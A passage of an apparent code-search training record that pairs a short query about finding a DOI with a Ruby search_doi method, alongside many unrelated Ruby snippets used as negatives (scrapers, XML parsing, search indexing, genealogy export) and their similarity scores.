options[:alt] = \"\"\n return image_tag \"site_images/collection-icon.svg\", options\n\n #content_tag(:span, \"\", class: \"glyphicon glyphicon-th collection-icon-search\")\n\n # file\n #FIXME: DO THIS BETTER\n elsif document[\"active_fedora_model_ssi\"] == \"Institution\"\n if document['has_image_ssi'] == 'true'\n path = sufia.download_path document, file: 'content'\n options[:alt] = \"\"\n return image_tag path, options\n end\n options[:alt] = \"\"\n image_tag \"shared/institution_icon.png\", options\n else\n path =\n if document['flagged_tesim'] == ['Explicit content in thumbnail']\n \"shared/dta_default_icon.jpg\"\n elsif document.image? || document.pdf? || document.video? || document.office_document?\n sufia.download_path document, file: 'thumbnail'\n elsif document.audio? || (document['resource_type_tesim'].present? and document['resource_type_tesim'].include?('Audio')) || (document['genre_tesim'].present? and document['genre_tesim'].include?('Sound Recordings'))\n #\"audio.png\"\n \"shared/dta_audio_icon.jpg\"\n else\n \"default.png\"\n end\n options[:alt] = \"\"\n image_tag path, options\n end\n end",
"def affiliation\n affiliations.try(:first)\n end",
"def extract_feature_relations(hpricot_doc, feature)\n doc = hpricot_doc\n # Is there a frel section in this document?\n if(doc/'/feature/frel')\n fr_array = (doc/'/feature/frel')\n fr_array.each do |fr|\n feature_relation = FeatureRelation.new()\n target_pid = (fr/'extref')[0].attributes['href']\n target_feature = Feature.find_or_create_by_pid(target_pid)\n feature_relation.child_node_id = feature.id\n feature_relation.parent_node_id = target_feature.id\n target_role = fr.attributes['role']\n\n #puts '------------'\n #puts 'Target Role is :: ' + target_role\n #puts '------------'\n\n # \"partof\" and \"contains\" are the default (child_node_id and parent_node_id)\n if target_role != 'partof'\n feature_relation.role = target_role.underscore\n #type = FeatureRelationType.find_or_create_by_code(target_role)\n # Set (and save) the FeatureRelationType name\n #type.update_attribute(:name, target_role)\n #feature_relation.feature_relation_type_id = type.id\n end\n\n feature_relation.perspective = @current_perspective#Perspective.find_or_create_by_code(@current_perspective_code)\n raise \"FeatureRelation not saved!\" unless feature_relation.save\n\n set_timespan(fr, feature_relation)\n extract_citations(fr, feature_relation)\n\n end\n end\n end",
"def search\n # If there's only one in the list, there will still be a list\n @ff.each_file do |fil|\n \n # TODO: check for unreadable files and record them as such\n f = File.open fil.fullpath, \"r\"\n r = /^\\s*\\#\\s*#{ @tag }/i\n f.each_line do |line|\n if line =~ r\n @found += 1\n #@repo\n end\n end\n end\n \n if found > 0\n @reporter.report \"'#{ @tag }' tag #{ @found } time(s)\", true\n else\n \n @reporter.report_message \"\\tWhere are the #{ @tag } tags?\", false\n end\n \n \n end",
"def scrape_aliens_at(url)\n doc = Nokogiri::HTML(URI.open(url))\n doc.css(\"#ctl00_MainContent_GridViewAliens tr\").flat_map do |row|\n row.search(\"td[1] a\").map do |link|\n if alien = scrape_alien(File.join(\"https://www.aonsrd.com/\", link[\"href\"]))\n collection.add(alien)\n end\n rescue => e\n @log.error(e)\n next\n end\n end.compact\n end",
"def search_index_attribute_lookup\n attributes = super\n return if !attributes\n\n # collect article data\n # add tags\n tags = tag_list\n if tags.present?\n attributes[:tags] = tags\n end\n\n # list ignored file extensions\n attachments_ignore = Setting.get('es_attachment_ignore') || [ '.png', '.jpg', '.jpeg', '.mpeg', '.mpg', '.mov', '.bin', '.exe' ]\n\n # max attachment size\n attachment_max_size_in_mb = Setting.get('es_attachment_max_size_in_mb') || 10\n attachment_total_max_size_in_kb = 314_572\n attachment_total_max_size_in_kb_current = 0\n\n # collect article data\n articles = Ticket::Article.where(ticket_id: id).limit(1000)\n attributes['article'] = []\n articles.each do |article|\n\n # lookup attributes of ref. objects (normally name and note)\n article_attributes = article.search_index_attribute_lookup\n\n # remove note needed attributes\n ignore = %w[message_id_md5 ticket]\n ignore.each do |attribute|\n article_attributes.delete(attribute)\n end\n\n # index raw text body\n if article_attributes['content_type'] && article_attributes['content_type'] == 'text/html' && article_attributes['body']\n article_attributes['body'] = article_attributes['body'].html2text\n end\n\n # lookup attachments\n article_attributes['attachment'] = []\n if attachment_total_max_size_in_kb_current < attachment_total_max_size_in_kb\n article.attachments.each do |attachment|\n\n # check file size\n next if !attachment.content\n next if attachment.content.size / 1024 > attachment_max_size_in_mb * 1024\n\n # check ignored files\n next if !attachment.filename\n\n filename_extention = attachment.filename.downcase\n filename_extention.gsub!(/^.*(\\..+?)$/, '\\\\1')\n\n next if attachments_ignore.include?(filename_extention.downcase)\n\n attachment_total_max_size_in_kb_current += (attachment.content.size / 1024).to_i\n next if attachment_total_max_size_in_kb_current > attachment_total_max_size_in_kb\n\n data = {\n '_name' => attachment.filename,\n '_content' => Base64.encode64(attachment.content).delete(\"\\n\")\n }\n article_attributes['attachment'].push data\n end\n end\n attributes['article'].push article_attributes\n end\n\n attributes\n end",
"def tag_name_uniqued(tag, options = {})\n if (options[:duplicate_names])\n duplicate_names = options[:duplicate_names]\n else\n duplicate_names = {}\n end\n\n if ((tag.user_id != current_user.id) && duplicate_names.include?(tag.name))\n return(h(tag.name) + '<span class=\"tag_name_uniqued\">:' + User.find_by_id(tag.user_id).login) + \"</span>\"\n else\n return(tag.name)\n end\n\n # (User.find_by_login(\"lelan\").tag_subscriptions.collect() { |a| Tag.find_by_id(a.tag_id) } + User.find_by_login(\"lelan\").tags).collect() { |a| a.name == \"maps\" ? a : nil }.compact\n end",
"def find_ace(prin_id, acc_type, priv_id, res_ob_id) \n query = \"#{@doc}//#{self.class.name}s/descendant::*\n[Principal/@idref=\\\"#{prin_id}\\\" and accessType=\\\"#{acc_type}\\\" and \nPrivilege/@idref=\\\"#{priv_id}\\\" and ResourceObject/@idref=\\\"#{res_ob_id}\\\"]\n/string(@id)\"\n handle = @connector.execute_query(query)\n hits = @connector.get_hits(handle)\n case hits\n when 1\n ace_id = @connector.retrieve(handle, 0)\n if(ace_id == \"\") #eXist returns empty result => should return no result\n return nil\n else\n return ace_id\n end\n \n when 0\n return nil\n else\n raise RubyACLExceptionRubyACLException.new(self.class.name, __method__,\n \"#{self.class.name} \nPrincipal=\\\"#{prin_id}\\\" and accessType=\\\"#{acc_type}\\\" and \nPrivilege=\\\"#{priv_id}\\\" and ResourceObject=\\\"#{res_ob_id}\\\" \nexists more then once. (#{hits}x)\", 220), caller\n end\n rescue => e\n raise e\n end",
"def affiliate\n self.affiliate_class && affiliate_id && self.affiliate_class.find(affiliate_id)\n end",
"def search(ref)\n upcase_ref = ref.upcase\n @index.select do |i|\n RelatonBib.array(i[:pubid]).detect { |r| r.include? upcase_ref }\n end.sort_by { |r| r[:pubid].is_a?(Array) ? r[:pubid].min : r[:pubid] }\n end",
"def parse_doc(doc)\n doc.xpath('//div[@class = \"z-list\"]').each do |node|\n\n story_content = Hash.new\n\n # get an array of the all the links\n links = Array.new\n node.xpath('./a').each do |link_node|\n links.push(link_node)\n end\n # the first link is the title\n story_content[\"title\"] = links[0].content\n\n # get story id\n url_split = links[0]['href'].split('/')\n story_content['ff_id'] = url_split[url_split.length-3]\n\n # the last link is reviews link or the author link\n last_link = links[links.length-1]\n # remove the link if its a review link\n if ((last_link.content <=> \"reviews\") == 0)\n # remove it and do it again\n links.pop()\n last_link = links[links.length-1]\n end\n\n # Set the author\n author_name = last_link.content\n author_url_split = last_link['href'].split('/')\n author_ff_id = author_url_split[author_url_split.length-2]\n story_content['author'] = generate_author(author_name, author_ff_id)\n\n # get the gray section (details)\n gray = \"\"\n node.xpath('./div//div').each do |div_node|\n gray=div_node.content\n # remove the node for the summary later\n div_node.remove\n end\n\n details = gray.split(\" - \")\n\n tags = Hash.new\n # split each of those by :\n count = 1\n story_content['reviews'] = '0'\n details.each do |detail|\n detail_split = detail.split(\":\")\n # If there is nothing in the second one that it isn't a set\n if(detail_split[1] != nil)\n story_content[detail_split[0].downcase] = detail_split[1].strip\n else# we need to do something differnt\n # complete status\n if ((detail_split[0] <=> \"Complete\") == 0)\n story_content['complete'] = true\n # language\n elsif count == 2\n story_content['language'] = detail_split[0]\n # Theme\n elsif count == 3\n story_content['theme'] = detail_split[0].split(\"/\")\n end\n\n # Main Characters\n if (count == details.length)\n if (details[details.length-1] <=> \"Complete\") != 0\n # story isn't complete characters are the last one (or published)\n detail_split = detail.split(\":\")\n if !detail_split[1] # Not published there are no characters\n story_content['characters'] = detail_split[0].split(\" & \")\n end\n else\n # story is complete characters are the second to last one\n detail_split = details[details.length-2].split(\":\")\n if !detail_split[1] # Not published there are no characters\n story_content['characters'] = details[details.length-2].split(\" & \")\n end\n end\n end\n\n # defaulting to false if complete isn't set\n if story_content['complete'] != true\n story_content['complete'] = false\n end\n end\n count+=1\n end\n\n # get the summary\n node.xpath('./div').each do |summary_node|\n story_content['summary'] = summary_node.content\n end\n\n generate_story(story_content)\nend\n\n\n\n#\n# Stores a datastructure with the list of the current ships\n#\ndef update_ships\n # A data structure to store the ships in\n\n ships = [\n [\"Brittana\", [\"Brittany P.\", \"Santana L.\"]],\n [\"Faberry\", [\"Quinn F.\", \"Rachel B.\"]],\n [\"Flanamotta\", [\"Rory F.\", \"Sugar\"]],\n [\"Sory\", [\"Rory F.\", \"Sam E.\"]],\n [\"Seblaine\", [\"Sebastian S.\", \"Blaine A.\"]],\n [\"Santofsky\", [\"D. Karofsky\", \"Santana L.\"]],\n [\"Bartie\", [\"Brittany P.\", \"Artie A.\"]],\n [\"Tike\", [\"Mike C.\", \"Tina C.\"]],\n [\"Pezberry\", [\"Santana L.\", \"Rachel B.\"]],\n [\"Pizes\", [\"Lauren Z.\", \"Puck\"]],\n [\"St. Berry\", [\"Jesse sJ.\", \"Rachel B.\"]],\n [\"Kill\", [\"Kurt H.\", \"Will S.\"]],\n [\"Puckurt\", [\"Kurt H.\", \"Puck\"]],\n [\"Artina\", [\"Tina C.\", \"Artie A.\"]],\n [\"Partie\", [\"Puck\", \"Artie A.\"]],\n [\"Blainofskyve\", [\"Blaine A.\", \"D. Karofsky\"]],\n [\"Klaine\", [\"Kurt H.\", \"Blaine A.\"]],\n [\"Hummelberry\", [\"Kurt H.\", \"Rachel B.\"]],\n [\"Furt\", [\"Kurt H.\", \"Finn H.\"]],\n [\"Pinn\", [\"Puck\", \"Finn H.\"]],\n [\"Samcedes\", [\"Sam E.\", \"Mercedes J.\"]],\n [\"Artcedes\", [\"Artie A.\", \"Mercedes J.\"]],\n [\"Finchel\", [\"Finn H.\", \"Rachel B.\"]],\n [\"Puckleberry\", [\"Puck\", \"Rachel B.\"]],\n [\"Wemma\", [\"Will S.\", \"Emma P.\"]]\n ]\n\n ships.each do |ship_data|\n ship = Ship.find_by_name(ship_data[0])\n\n # Make sure the ship doesn't already exist\n if !ship\n\n # create a new ship\n ship = Ship.new()\n ship.name = ship_data[0]\n ship.save\n\n # For each character in the ship\n ship_characters = ship_data[1]\n generate_log(\"Generating New Ship: #{ship_data[0]} between #{ship_data[1]}\")\n ship_characters.each do |ship_character|\n character = generate_character(ship_character)\n # Save the relationship\n relationship = Relationship.new()\n relationship.ship = ship\n relationship.character = character\n relationship.save\n\n end\n else\n ship.update_attributes(:name => ship_data[0])\n ship.save\n generate_log(\"Updating: #{ship_data[0]} between #{ship_data[1]}\")\n\n\n end\n end\nend\n\n\nend",
"def tag_match_found(option_tags, aws_tags)\n option_tags.each do | option_tag |\n aws_tags.each do | aws_tag | \n if option_tag[:key].downcase == aws_tag[:key].downcase and option_tag[:value].downcase == aws_tag[:value].downcase\n return true\n end\n end\n end\n\n return false\nend",
"def collect_tags_indeed(text_to_scan, offer_object)\n puts \"Mining tags from posting\"\n tags = Tag.all.map(&:name)\n tags.each do |tag|\n offer_object[:tags] << tag if text_to_scan.include?(tag)\n end\n end",
"def find_by_name(provenance:, json: {})\n return nil unless json.present? && json[:name].present?\n\n # Search both the local DB and the ROR API\n results = AffiliationSelection::SearchService.search_combined(search_term: json[:name])\n return results.first if results.length == 1 && results.first.is_a?(::Affiliation)\n\n # Grab the closest match - only caring about results that 'contain'\n # the name with preference to those that start with the name\n result = results.select { |r| %w[0 1].include?(r[:weight].to_s) }.first\n affil = AffiliationSelection::HashToAffiliationService.to_affiliation(hash: result) if result.present?\n\n # If no good result was found just use the specified name\n affil = ::Affiliation.find_or_initialize_by(name: json[:name]) unless affil.present?\n\n # Attach the alternate names / abbreviations\n affil.alternate_names = [] unless affil.alternate_names.present?\n affil.alternate_names << result[:abbreviation] if result.present?\n\n affil.types = result.present? ? result.fetch(:types, []) : []\n affil.attrs = result.present? ? result.fetch(:attrs, {}) : {}\n\n attach_identifiers(provenance: provenance, affiliation: affil, json: json, result: result)\n end",
"def search_festival_scrapping(list_festival_name, year)\n # try to find festival's data for each name\n list_festival_name.each do |festival_name|\n url = \"#{Rails.configuration.behaviour['scrapping']['base_url']}#{festival_name}/\"\n\n # First we ping the URL to see if it exists\n resp = Net::HTTP.get_response(URI.parse(url))\n next unless /20\\d/ =~ resp.code\n # then we scrap\n page = Nokogiri::HTML(open(url))\n # create Festival if necessary\n if @festival.instance_of?(Festival) && @festival.valid?\n festival = @festival\n else\n name = page.css('header.entry-header.wrapper h1 span').text\n short_name = name.gsub(/ 20\\d{2}$| festival/i, '')\n params = ActionController::Parameters.new(\n festival: {\n name: name,\n short_name: short_name,\n slug: festival_name,\n url: url,\n year: year\n }\n )\n festival = Festival.create(params.require(:festival).permit!)\n end\n\n # headliners\n page.css('.placeholder2 .f_headliner .f_artist').each do |artist|\n artist_name = artist.text\n slug = artist_name.strip\n .downcase.gsub(/\\A\\p{Space}*|\\p{Space}*\\z/, '')\n # Search Artist in database before creating it\n new_artist = Artist.create_if_not_found(artist_name, slug)\n next if !new_artist.valid? || festival.artists.include?(new_artist)\n festival.festivals_artists.create_headliner(new_artist)\n end\n\n # lineup\n page.css('.lineupguide ul li').each do |artist|\n artist_name = artist.text\n slug = artist_name.strip\n .downcase.gsub(/\\A\\p{Space}*|\\p{Space}*\\z/, '')\n # Search Artist in database before creating it\n new_artist = Artist.create_if_not_found(artist_name, slug)\n next if !new_artist.valid? || festival.artists.include?(new_artist)\n festival.artists << new_artist\n end\n\n # Save and return Festival\n if festival.instance_of?(Festival) && festival.valid? && festival.save\n @festival = festival\n end\n end\n end",
"def affiliation_id=(affil_id)\n self.affiliation_ids = affil_id\n end",
"def getTag(tagString)\n retval = \"other\"\n tags = [\"programming\",\"travel\",\"other\"]\n tags.each do |tag|\n if tagString.downcase.match(/#{tag.downcase}/)\n retval = tag\n end\n end\n retval\n end",
"def tag\n puts \"\\ntagging\"\n tagged_arr = Hash.new\n (2..4).each do |k|\n @grams[k].each_with_index do |item, index|\n item_count = count index, k\n if item_count > 1\n unless equals tagged_arr, item\n tagged_arr[item.clone] = item_count\n end\n end\n end\n end\n tagged_arr\n end",
"def transitive_tags; end",
"def gettag()\n omnifocus.tags.get.each do |tagg|\n\t tagg.tags.get.each do |t|\n\t\t\t if t.name.get == \"Today\" \n\t\t\t\t return t\n\t\t\t end\n\t\t end \n\n end\n\n end",
"def extract_image_relations\n relation_array = {}\n self.find_by_terms(:vra_image,:relationSet,:relation_imageOf, :relation_relids).each do |relation_imageOf| \n ::Solrizer::Extractor.insert_solr_field_value(relation_array, \"relation_imageOf_tesim\", relation_imageOf.text) \n end\n self.find_by_terms(:vra_image,:relationSet,:relation_preferred, :relation_relids).each do |relation_preferred| \n ::Solrizer::Extractor.insert_solr_field_value(relation_array, \"relation_preferred_tesim\", relation_preferred.text) \n end\n return relation_array\n end",
"def get_indi(personmodel)\n id = personmodel[\"Ord-Nr\"]\n npfx = personmodel[\"Titel\"]\n name = personmodel[\"Name\"]\n name = personmodel[\"Geb-Name\"]\n rufname = personmodel[\"Rufname\"]&.strip\n vorname = personmodel[\"Vorname\"]\n vornamerufname = vorname #.gsub(rufname, %Q{*#{rufname.strip}*}) unless rufname.nil?\n\n sex = personmodel[\"Geschl\"] == \"M\" ? \"M\" : \"F\"\n ausehe = personmodel[\"AusEhe\"]\n art = personmodel[\"AusEhe\"]\n\n beruf = wrap(personmodel[\"Beruf\"] || \"\", 80).strip\n\n family_roles = (personmodel[:family_roles] || []).map { |v| %Q{1 #{v[1].to_s.upcase} @#{ $idmapper.fam(v[0]) }@} }.join(\"\\n\")\n maiden = (personmodel[:family_roles] || []).map { |v| %Q{1 #{v[1].to_s.upcase} @#{ $idmapper.fam(v[0]) }@} }.join(\"\\n\")\n\n %Q{\n0 @#{$idmapper.indi(id)}@ INDI\n1 NAME #{vornamerufname} (#{id}) /#{name}/\n2 GiVN #{vornamerufname}\n2 SURN #{name}\n2 NPFX #{npfx}\n2 _RUFNAME #{rufname}\n1 NOTE #{beruf.gsub(\"\\n\", \"\\n2 CONT \")}\n1 SEX #{sex}\n1 REFN #{id}\n1 BIRT\n2 DATE #{personmodel[\"Geb-am\"]}\n2 PLAC #{personmodel[\"Geb-in\"]}\n1 DEAT\n2 DATE #{personmodel[\"Gest-am\"]}\n2 PLAC #{personmodel[\"Gest-in\"]}\n #{family_roles}\n }.strip\n\nend",
"def get_next_article(url)\n uri = URI(URI::Parser.new.escape(url))\n response = Net::HTTP.get(uri)\n\n doc = Nokogiri::HTML.parse(response)\n\n #article = doc.at('a:contains(\"Article suivant\")')\n article = doc.at('a:contains(\"Nächster Artikel\")')\n article['href']\nend",
"def tag(tag); end",
"def tag(tag); end",
"def fix_gags(hash_of_sequence_ids_to_sequence_strings, sequence_id_to_gags={})\n log = Bio::Log::LoggerPlus['bio-gag']\n \n # Get the gags\n if sequence_id_to_gags == {}\n log.info \"Predicting gags from the pileup\"\n gags do |gag|\n sequence_id_to_gags[gag.ref_name] ||= []\n sequence_id_to_gags[gag.ref_name].push gag\n end\n else\n log.info \"Using pre-specified GAG errors\"\n end\n log.info \"Found #{sequence_id_to_gags.values.flatten.length} gag errors to fix\"\n \n # Make sure all gag errors in the pileup map to a sequence input fasta file by keeping tally\n accounted_for_seq_ids = []\n fixed_sequences = {} #Hash of sequence ids to sequences without gag errors\n hash_of_sequence_ids_to_sequence_strings.each do |seq_id, seq|\n log.debug \"Now attempting to fix sequence #{seq_id}, sequence #{seq}\"\n toilet = sequence_id_to_gags[seq_id]\n if toilet.nil?\n # No gag errors found in this sequence (or pessimistically the sequence wasn't in the pileup -leaving that issue to the user though)\n fixed_sequences[seq_id] = seq\n else\n # Gag error found at least once somewhere in this sequence\n # Record that this was touched in the pileup\n accounted_for_seq_ids.push seq_id\n \n # Output the fixed-up sequence\n last_gag = 0\n fixed = ''\n toilet.sort{|a,b| a.position<=>b.position}.each do |gag|\n #log.debug \"Attempting to fix gag at position #{gag.position} in sequence #{seq_id}, which is #{seq.length} bases long\"\n fixed = fixed+seq[last_gag..(gag.position-1)]\n fixed = fixed+seq[(gag.position-1)..(gag.position-1)]\n last_gag = gag.position\n #log.debug \"After fixing gag at position #{gag.position}, fixed sequence is now #{fixed}\"\n end\n fixed = fixed+seq[last_gag..(seq.length-1)]\n fixed_sequences[seq_id] = fixed\n end\n end\n \n unless accounted_for_seq_ids.length == sequence_id_to_gags.length\n log.warn \"Unexpectedly found GAG errors in sequences that weren't in the sequence that are to be fixed: Found gags in #{sequence_id_to_gags.length}, but only fixed #{accounted_for_seq_ids.length}\"\n end\n return fixed_sequences\n end",
"def findingAid\n solr_doc[\"desc_metadata__findingAid_ssm\"]\n end",
"def getFt \n kword = ARGV[1]\n seq = @gb.to_biosequence\n seqoptions = \"\"\n\n for c in 2..ARGV.length-1\n seqoptions += \"#{ARGV[c]},\"\n end\n \n # look through all features\n @gb.each_cds do |ft|\n ftH = ft.to_hash\n loc = ft.locations\n gene = []\n product = []\n if (!ftH[\"gene\"].nil? && ftH[\"gene\"][0].downcase.include?(kword.downcase)) or\n (!ftH[\"product\"].nil? && ftH[\"product\"][0].downcase.include?(kword.downcase)) \n sbeg = loc[0].from.to_i\n send = loc[0].to.to_i\n fasta = Bio::Sequence::NA.new(seq.subseq(sbeg,send))\n position = \"#{sbeg}..#{send}\"\n if loc[0].strand == -1\n fasta.reverse_complement!\n position = \"c#{position}\"\n end\n pep = Bio::Sequence.new(fasta.translate)\n gene = ftH[\"gene\"][0] if !ftH[\"gene\"].nil?\n product = ftH[\"product\"][0] if !ftH[\"product\"].nil?\n if seqoptions.downcase.include?(\"pep\") or seqoptions.downcase.include?(\"prot\")\n puts pep.output_fasta(\"#{@accession}|#{position}|#{ftH[\"protein_id\"][0]}|#{gene}|#{product}|#{@org}\", 60)\n else\n dna = Bio::Sequence.auto(fasta)\n puts dna.output_fasta(\"#{@accession}|#{position}|#{ftH[\"protein_id\"][0]}|#{gene}|#{product}|#{@org}\",60)\n end\n end\n end\nend",
"def parse_taxon_ids_list full_document\n full_document.gsub(/%tl\\[(.*?)\\]/) do\n ids_string = $1\n ids = ids_string.gsub(\" \", \"\").split(\",\")\n\n ids.map do |id|\n try_linking_taxon_id id\n end.join(\", \")\n end\n end",
"def process_fna(fna_file)\n fna_hash = Hash.new\n input = File.new(fna_file,'r')\n first_loop = true\n dna_seq = \"\"\n id = \"\"\n count = 0\n while(line = input.gets)\n if(line[0..0] == '>')\n if(first_loop == false)\n fna_hash[id] = dna_seq\n end\n position=line.split(\"|\")\n id = position[3][0..-3]\n dna_seq = \"\"\n first_loop = false\n else\n count = count+1\n dna_seq.concat(line[0..-2])\n end\n end\n fna_hash[id] = dna_seq\n return(fna_hash)\nend",
"def expandEnhance\n litems = Array.new()\n match = 0\n docurl = URI.escape(@url + \"&q=\" + @loanitem.title)\n doc = Nokogiri::XML(open(docurl))\n \tdoc.xpath(\"//record\").each do |bibrec|\n \t if @loanitem.title.gsub(/[^a-zA-Z ]/, '') == bibrec.xpath(\"fields/title\").inner_text.strip.gsub(/[^a-zA-Z ]/, '')\n \t litem = Loanitem.new(bibrec.xpath(\"fields/title\").inner_text.strip,@loanitem.loandate)\n litem.isbn = bibrec.xpath(\"fields/isbn\").inner_text.slice(/(?:ISBN(?:-1[03])?:? )?(?=[-0-9 ]{17}\\b|[-0-9X ]{13}\\b|[0-9X]{10}\\b)(?:97[89][- ]?)?[0-9]{1,5}[- ]?(?:[0-9]+[- ]?){2}[0-9X]/)\n litem.authordesc = bibrec.xpath(\"fields/author\").inner_text\n litem.image = bibrec.xpath(\"coverimageurl\").inner_text\n litem.liburl = \"http://librarycatalogue.warwickshire.gov.uk/ABwarwick/Accessible.ashx?cmd=frec&hreciid=\" + bibrec.attribute(\"extID\")\n litems.push(litem)\n match = 1\n end\n \tend\n \tif match == 0\n litem = Loanitem.new(@loanitem.title,@loanitem.loandate)\n litems.push(litem)\n end\n \n return litems\n end",
"def extract_tags(frequently_reviewed_restaurants, tag_group)\n tags = frequently_reviewed_restaurants.collect{|r| r.first.tags_belongs_to(tag_group)}.flatten\n tag_usages_map = {}\n tags.each do |tag|\n tag_usages_map[tag] ||= 0\n tag_usages_map[tag] += 1\n end\n\n Tag.find_all_by_name(tag_usages_map.sort{|v1, v2| v2.last <=> v1.last}.collect{|t| t.first})\n end",
"def _reduce_6(val, _values, result)\n @handler.tag_pairs[val[1].downcase.to_sym] = val[2][1..-2] \n result\nend",
"def cud_response_to_qa(data)\n resp = {}\n data['attributes'].each do |field|\n if Cud.fields.has_key?(field[\"name\"])\n resp[Cud.fields[field[\"name\"]]] = field[\"value\"]\n end\n end\n # Data['attributes'] no longer has affiliation information. They are passed seperately\n aff = []\n if data.fetch('affiliations', nil) && data['affiliations'].any?\n data['affiliations'].each do |field|\n # field has the following keys - source, affiliation, status, startDate, endDate, lastUpdated, dateAdded\n # The affiliations have endDate. If endDate < today - 1 year, we should not use that affiliation\n endDate = Time.parse(field['endDate'][\"$date\"]) rescue nil\n if field['source'] != \"UAS_DARS\" && endDate && endDate > Time.now.ago(1.year)\n aff.push(field[\"affiliation\"])\n end\n end\n end\n if !aff.empty?\n val = aff.max_by(&:length)\n resp[\"current_affiliation\"] = val\n else\n resp[\"current_affiliation\"] = \"\"\n end\n #TODO: If there are no affiliations, we should not use that person\n resp\n end",
"def transitive_tags=(_arg0); end",
"def extractFullTextFromAlto( text )\n # initialize XML document for parsing\n #doc = REXML::Document.new( text )\n doc = Nokogiri::XML(text)\n\n # extract all keywords from ALTO attributes\n keywords = String.new\n# doc.elements.each( '//String/@CONTENT' ) do |element|\n doc.xpath( '//String/@CONTENT' ).each do |element|\n keywords << element.text\n end\n return keywords\n end",
"def unique_tag\n\n\t\t##collect transforms given array into the new array abbr\n\t\tabbr = self.author.split(\" \").collect do |sub_string|\n\t\t\tsub_string[0] #puts first letter of each substring into intials array\n\t\tend\n\n\t\treturn abbr.join + '#' + self.id.to_s ##join concatenates an array into a string\n\tend"
] |
[
"0.590376",
"0.5432035",
"0.5379096",
"0.5280769",
"0.52232337",
"0.5214042",
"0.5203483",
"0.51446444",
"0.5131581",
"0.5070167",
"0.50618696",
"0.50216",
"0.5018306",
"0.5005684",
"0.4998981",
"0.49887428",
"0.49848282",
"0.49715587",
"0.4959267",
"0.49370062",
"0.49348316",
"0.49299455",
"0.4920754",
"0.4900173",
"0.48983648",
"0.489776",
"0.48971203",
"0.48951712",
"0.48941642",
"0.4892345",
"0.48906317",
"0.4862581",
"0.48472604",
"0.4845968",
"0.4836813",
"0.4826798",
"0.48179242",
"0.48170224",
"0.48056892",
"0.48050436",
"0.47974077",
"0.47920236",
"0.47878954",
"0.47873667",
"0.47770786",
"0.47616893",
"0.47587135",
"0.47555822",
"0.4743443",
"0.47324687",
"0.47261205",
"0.4722559",
"0.47223842",
"0.47223774",
"0.4714857",
"0.47088572",
"0.47088572",
"0.47003308",
"0.469085",
"0.46832213",
"0.46824214",
"0.4678184",
"0.46749532",
"0.46626592",
"0.46619388",
"0.4661791",
"0.46586874",
"0.4652017",
"0.46514213",
"0.46482506",
"0.46425688",
"0.46395788",
"0.46371177",
"0.4633205",
"0.46279",
"0.46264404",
"0.461413",
"0.46088567",
"0.46025762",
"0.4600072",
"0.4595802",
"0.45854864",
"0.45838705",
"0.4579072",
"0.45761427",
"0.4575472",
"0.45689803",
"0.45689803",
"0.456633",
"0.45653716",
"0.45544928",
"0.45535383",
"0.45523515",
"0.45445374",
"0.45441934",
"0.45431527",
"0.45388836",
"0.45327446",
"0.45307568",
"0.45262992"
] |
0.63149714
|
0
|
We have to find doi on
|
def search_doi
if xml.at_xpath("//source").text=~/^\s*http:\/\/dx\.doi\.org\/([^\s]+)/
return $1
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def doi\n multiple_dois = dois\n multiple_dois.empty? ? nil : multiple_dois.first\n end",
"def doi\n doi_regex = %r{10\\.\\d{4,9}\\/[-._;()\\/:A-Z0-9]+}i\n doi = extract_from_identifier(doi_regex)\n doi&.join\n end",
"def doi\n doi_regex = %r{10\\.\\d{4,9}\\/[-._;()\\/:A-Z0-9]+}i\n doi = extract_from_identifier(doi_regex)\n doi&.join\n end",
"def dois\n @dois ||= @record_node.css(\"doi_data\", @@ns).map do |doi_node|\n {\n :doi => Helpers.normalise_doi(doi_node.at_css(\"doi\", @@ns).text),\n :display_doi => doi_node.at_css('doi', @@ns).text,\n :parent => doi_node.parent,\n :type => normalise_work_name(doi_node.parent.name)\n }\n end\n end",
"def domicilios_en_uso\n\t\tdomicilios.find_all do |d| \n\t\t\tlogger.debug(\"domcilio #{d.id}: #{d.deleted_at}\")\n\t\t\td.deleted_at.nil? \n\t\tend\n\tend",
"def get_da_urls (doc,comment_url)\n doc.search('table tbody tr').each do |tr|\n # Columns in table\n # Show Number Submitted Details\n tds = tr.search('td')\n\n break if tds[0].inner_text =~ /no records/\n\n h = tds.map{|td| td.inner_html}\n\n puts h\n info_url = 'https://pdonline.toowoombarc.qld.gov.au/Masterview/Modules/ApplicationMaster/' + tds[0].at('a')['href'].strip\n puts info_url\n descParts = h[3].split('<br>')\n record = {\n 'info_url' => info_url,\n 'comment_url' => comment_url,\n 'council_reference' => clean_whitespace(h[1]),\n 'date_received' => Date.strptime(clean_whitespace(h[2]), '%d/%m/%Y').to_s,\n # TODO: Some DAs have multiple addresses, we're just getting the first :(\n 'address' => clean_whitespace(descParts[0]),\n 'description' => clean_whitespace(descParts[1]),\n 'date_scraped' => Date.today.to_s\n }\n\n if (ScraperWiki.select(\"* from data where `council_reference`='#{record['council_reference']}'\").empty? rescue true)\n ScraperWiki.save_sqlite(['council_reference'], record)\n else\n puts \"Skipping already saved record \" + record['council_reference']\n end\n end\nend",
"def search_by_dmd_number dmd\r\n last.find {|dm| (dm.source =~ /^(DMD|DMD LOS) #{dmd}$/) != nil}\r\n end",
"def bork_doi_for_zenodo_sandbox(doi:)\n return doi if Rails.env == 'production'\n\n # bork our datacite test dois into non-test shoulders because Zenodo reserves them as their own, don't bork their own DOIs\n doi.gsub!(/^10\\.5072/, '10.55072') if @dataset_type == :data\n doi\n end",
"def doi(id, &block)\n return get_metrics([\"doi\", id], &block)\n end",
"def index\n unless params[:search] == \"\" or params[:search].nil? \n if params[:option] == \"name\"\n begin\n @dois = Doi.regex_search params[:search]\n rescue Exception\n redirect_to dois_path, notice: \"Invalid Regular Expression\"\n end\n elsif params[:option == \"doi_id\"]\n @dois = Doi.where('id IS ?', params[:search])\n else\n @dois = Doi.where('id IS ?', params[:search])\n end\n else\n @dois = Doi.all\n end\n end",
"def ind_distr\n @periodos = Periodo.find(:all)\n end",
"def doors; end",
"def day(date)\n \n days = self.days(14)\n \n day = Object\n \n days.each do |dayEach|\n break day = dayEach if dayEach.dia == date.strftime(\"%d-%m-%Y\") \n end\n \n day\n \n end",
